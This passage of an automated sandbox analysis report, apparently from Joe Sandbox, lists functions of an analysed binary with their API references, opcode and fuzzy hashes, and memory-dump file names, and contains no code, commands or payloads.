Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 4d1daeb91fa99759e5740eb25ca3c8ebf587126ae66781583f4cb72ed168904e
Instruction ID: 76c7da88f4389d1cc9552f139e3d92c32fb4a904a96f956b49aa9a7f1e56bc1d
Opcode Fuzzy Hash: 4d1daeb91fa99759e5740eb25ca3c8ebf587126ae66781583f4cb72ed168904e
Instruction Fuzzy Hash: 5DC0803401114045F51D45795058426370E5A077183F00B48D4355B1F1DB33DC47C650

Function 009EB1A0 Relevance: 1.5, APIs: 1, Instructions: 244COMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 009EB3C8

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Initialize
String ID:
API String ID: 2538663250-0
Opcode ID: 117dc9c9fcc4fdfaa62b95f2287264942b14dc5dd21d9d2d59e13974d530d2f2
Instruction ID: 9bb5aa9226daae73953467820c8e62b19b2b5e2e82a8c36dc87b94b7a2c036bc
Opcode Fuzzy Hash: 117dc9c9fcc4fdfaa62b95f2287264942b14dc5dd21d9d2d59e13974d530d2f2
Instruction Fuzzy Hash: 29B11570A10268DFEB29CF19C894BDEB7B5EF45304F5085D8E909A7281D775AA88CF90

Function 04CC0867 Relevance: .5, Instructions: 537COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712030360.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 40f27f267acfd0ae615e8a730677f551ae25145938aa519d0e6384445a340c23
Instruction ID: 1447f576471c1198b4d5d3023fdc75d2b74abd1b8f7524a6029d60948d4eb127
Opcode Fuzzy Hash: 40f27f267acfd0ae615e8a730677f551ae25145938aa519d0e6384445a340c23
Instruction Fuzzy Hash: 09B15EEB28D221FD710291C72B64AFB6B6FE5D6730339843EF847D5502F2846E4A6172

Function 04CC07F7 Relevance: .0, Instructions: 41COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712030360.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6dda77623503716c47342031ae17aa4d2f7aefd14394af087a89470fa4d286bf
Instruction ID: ee54a1ce3b6e82f6733e3c3c63feddc3e89aa243534be27eb6d667954a83ba69
Opcode Fuzzy Hash: 6dda77623503716c47342031ae17aa4d2f7aefd14394af087a89470fa4d286bf
Instruction Fuzzy Hash: FDE0ECA71485109EA14251D27A645BAB79AF596335330C076F447C7583E4991505A162

Function 04CC07EA Relevance: .0, Instructions: 39COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1712030360.0000000004CC0000.00000040.00001000.00020000.00000000.sdmp, Offset: 04CC0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4cc0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cbd0b57dc60277d8602cf6555ca7ec1e0937411761d1424175ca4b9ded189e9b
Instruction ID: 164d83ee7af30bfc3f58680cc6d3aa314318f41e5ae8fcecadcc8799a29e4e05
Opcode Fuzzy Hash: cbd0b57dc60277d8602cf6555ca7ec1e0937411761d1424175ca4b9ded189e9b
Instruction Fuzzy Hash: AFE0D8B714C110ADA142D1C3776447A779EF4D7336335C07BF043C6543E5895609B5B2

Non-executed Functions

Function 00A231A8 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1340COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 00A23323

Strings

1#INF, xrefs: 00A244DE
1#IND, xrefs: 00A244B3
1#QNAN, xrefs: 00A244C1
1#SNAN, xrefs: 00A244BA

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 5ddf9e74450b582f109fb46741a25d91d56854762d631eefdfe593e58c3ba316
Instruction ID: bf183abcf934c10687736a730a7857905b2e49efa0f439c826805a0285d8d234
Opcode Fuzzy Hash: 5ddf9e74450b582f109fb46741a25d91d56854762d631eefdfe593e58c3ba316
Instruction Fuzzy Hash: 7AC21A72E046288FDF25CF28ED407E9B7B5EB49345F1441EAD84DA7240E779AE858F40

Function 009EE0C0 Relevance: 4.6, APIs: 3, Instructions: 102networkCOMMON

Download Yara Rule

APIs

recv.WS2_32(?,?,00000004,00000000), ref: 009EE10B
recv.WS2_32(?,?,00000008,00000000), ref: 009EE140

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: recv
String ID:
API String ID: 1507349165-0
Opcode ID: 7224eeb1e5708e725b292512675c6c43ba2e5f006f9ef173bef2ea5a87fc74ca
Instruction ID: 4f0ba32b8be09b809d143ac227ff2045056db750e4cf7fdfa0a8dab6ae465da8
Opcode Fuzzy Hash: 7224eeb1e5708e725b292512675c6c43ba2e5f006f9ef173bef2ea5a87fc74ca
Instruction Fuzzy Hash: 4131F8B5A042889BDB21CBADDC81BFF77BCEB49724F004625F514E7391C676AC458B60

Function 00A22D10 Relevance: 3.4, APIs: 2, Instructions: 450COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction ID: 1a94c2546b5a78df7da47faa6dd62ed17771299926d48144bbee3c8010500243
Opcode Fuzzy Hash: 4febeba0e6df1972b290d54c079ebb9eef800fd61dd105ca4b93d43a1305ea1a
Instruction Fuzzy Hash: 03F15F72E012299FDF14CFADD9806ADBBB1FF49314F158269D915AB344D731AE01CB90

Function 009FCBEA Relevance: 1.5, APIs: 1, Instructions: 16timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimePreciseAsFileTime.KERNEL32(?,009FCF52,?,00000003,00000003,?,009FCF87,?,?,?,00000003,00000003,?,009FC4FD,009E2FB9,00000001), ref: 009FCC03

Memory Dump Source

Source File: 00000000.00000002.1709477652.00000000009E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009E0000, based on PE: true

Associated: 00000000.00000002.1709465412.00000000009E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709477652.0000000000A42000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709522219.0000000000A49000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709534381.0000000000A4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709547687.0000000000A57000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709627052.0000000000BAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709640534.0000000000BAD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BC6000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709656758.0000000000BD3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709683764.0000000000BD6000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709697024.0000000000BDD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709713712.0000000000BEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709725785.0000000000BEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709740538.0000000000C01000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709752873.0000000000C04000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709764488.0000000000C05000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709781128.0000000000C17000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709798976.0000000000C2C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709813508.0000000000C30000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709826985.0000000000C3E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709839358.0000000000C45000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709850765.0000000000C46000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709863478.0000000000C48000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709875979.0000000000C4F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709888099.0000000000C50000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709901380.0000000000C5D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709913085.0000000000C5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709924660.0000000000C5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709937066.0000000000C66000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709949904.0000000000C68000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709962676.0000000000C6E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709974452.0000000000C6F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1709986617.0000000000C70000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710002067.0000000000C81000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000C83000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710014381.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710052072.0000000000CDA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710064257.0000000000CDB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710076874.0000000000CDE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710089532.0000000000CE0000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710103458.0000000000CEF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1710115733.0000000000CF0000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9e0000_file.jbxd

Yara matches

Similarity

API ID: Time$FilePreciseSystem
String ID:
API String ID: 1802150274-0
Opcode ID: ca0e3d703ec8a66dd951503ffd45db2e944ce068337b4b42ed4596844a07259f
